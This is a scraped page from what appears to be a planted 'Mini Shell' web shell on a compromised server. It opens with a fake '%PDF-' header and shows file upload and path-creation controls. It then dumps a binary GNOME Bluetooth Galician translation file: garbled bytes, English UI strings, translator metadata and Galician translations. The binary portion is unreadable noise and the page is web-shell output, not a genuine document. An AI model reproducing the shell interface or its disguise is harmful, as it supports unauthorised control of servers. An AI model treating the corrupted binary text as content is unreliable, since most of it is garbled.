%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/gl/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/gl/LC_MESSAGES/gnome-bluetooth2.mo

��o��`	a	t	�	�	�	*�	�	�	�	�		


,
9
Q
k
~
�
�
�
�
�
�
�
	[	{
�
����
������

,HKP%���Y�,
2
8
=
E
H

^
i

	�
�
�
�
�
L�
4+RT~h�<DSh)����$� 0?
Xcy���������JSW#k	�����������.D=F��������9�'/8M\e�'�&��04<E'd
�	� ��b�	@
J	Xbkw�����!���(
3S?/���Z�-49>C&Gn,}�����	C)]!�B�Z�	GQ`~/����'�3-S�)������&+8�N	���
0	>HP%i������2�?MR!'*5HX_UA+Vo:K. i/R%Sa3T\7O	Mh2)<#CQ&1eF$N^lPIG>-@`;"=64WdL[(Jc
ZgEDbm]kY09
8B?j,nf%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers completeADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferBluetooth file transfer from %sCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth ConnectionConfirm Bluetooth PINConfirm the Bluetooth PIN for “%s”. This can usually be found in the device’s manual.ConnectedConnecting…ConnectionDeclineDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFile reception completeFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardMake sure that the remote device is switched on and that it accepts Bluetooth connectionsModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedOpen Containing FolderOpen FilePairedPaired or trustedPairing “%s”PhonePlease confirm that the following PIN matches the one displayed on “%s”.Please confirm the PIN that was entered on “%s”.Please enter the following PIN on “%s”.Please enter the following PIN on “%s”. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device’s nameRemove “%s” from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s” and available for Bluetooth file transfers. Transferred files are placed in the <a href="%s">Downloads</a> folder.WearableYesYou received a fileYou received “%s” via Bluetooth[FILE…]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hours“%s” wants to connect with this device. Do you want to allow it?“%s” wants to pair with this device. Do you want to allow pairing?Project-Id-Version: gnome-bluetooth-master-po-gl-18070.merged
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-bluetooth/issues
PO-Revision-Date: 2021-02-24 13:13+0100
Last-Translator: Fran Diéguez <frandieguez@gnome.org>
Language-Team: Galician
Language: gl
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=(n != 1);
X-Generator: Lokalize 20.12.2
X-Project-Style: gnome
%'d hora%'d horas%'d minuto%'d minutos%'d segundo%'d segundos%d B/s%d kB/s%u transferencia completada%u transferencias completadasENDEREZOAceptarEnderezoTodas as categoríasTodos os tiposPermitirProduciuse un erro descoñecidoDispositivo de sonTransferencia de ficheiro por BluetoothSolicitude de emparellado de BluetoothTransferencia por BluetoothTransferencia de ficheiro por Bluetooth desde %sCámaraCancelarElixa os ficheiros para enviarPrema para seleccionar o dispositivo…ComputadorConfirmarConfirmar conexión de BluetoothConfirmar PIN do BluetoothConfirmar o PIN de Bluetooth para «%s». Isto pode atoparse normalmente no manual do dispositivo.ConectadoConectando…ConexiónRexeitarDispositivoCategoría do _dispositivo:_Tipo de dispositivo:DispositivosDesconectadoRexeitarPantallaRecepción de ficheiro completadaDesde:AuricularesAuriculares e outros dispositivos de sonAuricularesSe retira o dispositivo, deberá configuralo de novo antes de usalo a seguinte vez.Dispositivos de entrada (ratos, teclados, etc.)JoypadTecladoAsegúrese de que o dispositivo remoto está acendido e que acepta conexións de BluetoothMódemRatoNOMERedeNonNon hai ningún adaptador dispoñíbelSen configurarNon está emparellado ou non é de confianzaAbrir o cartafol contedorAbrir ficheiroEmparelladoEmparellado ou de confianzaEmparellando «%s»TeléfonoConfirme que o PIN coincide co que se mostra no dispositivo «%s».Confirme o PIN que foi escrito en «%s».Escriba o seguinte PIN en «%s».Escriba o seguinte PIN en «%s». Logo prema «Intro» no teclado.Mova o joystick do seu iCade nas seguintes direccións. Logo prema calquera botón branco.ImpresoraControl remotoDispositivo remoto a empregarNome do dispositivo remotoDesexa retirar «%s» da lista de dispositivos?EscánerBuscando dispositivos…SeleccionarSeleccionar o dispositivo ao que enviarSeleccione a categoría de dispositivo para filtrarSeleccione o tipo de dispositivo para filtrarEnviar _ficheiros…Enviando ficheiros a través de BluetoothEnviando %sEnviando ficheiro %d de %dMostrar:TabletaProduciuse un erroPara:XogueteDe confianzaTipoDescoñecidoDispositivo de vídeoVisíbel como «%s» e dispoñíbel para as transferencias de ficheiros por Bluetooth. Os ficheiros transferidos gardaranse no cartafol <a href="%s">Descargas</a>.VestíbelSiRecibiu un ficheiroRecibiu «%s» por Bluetooth[FICHEIRO...]_Cancelar_PecharPreferencias do _tecladoPreferencias do _rato e área táctil_Aceptar_Retirar_Retirar dispositivo_Reintentar_EnviarPreferencias de _sonaproximadamente %'d horaaproximadamente %'d horas«%s» quere conectarse con este dispositivo. Desexa permitilo?«%s» quere emparellarse con este computador. Desexa permitir o emparellado?

Zerion Mini Shell 1.0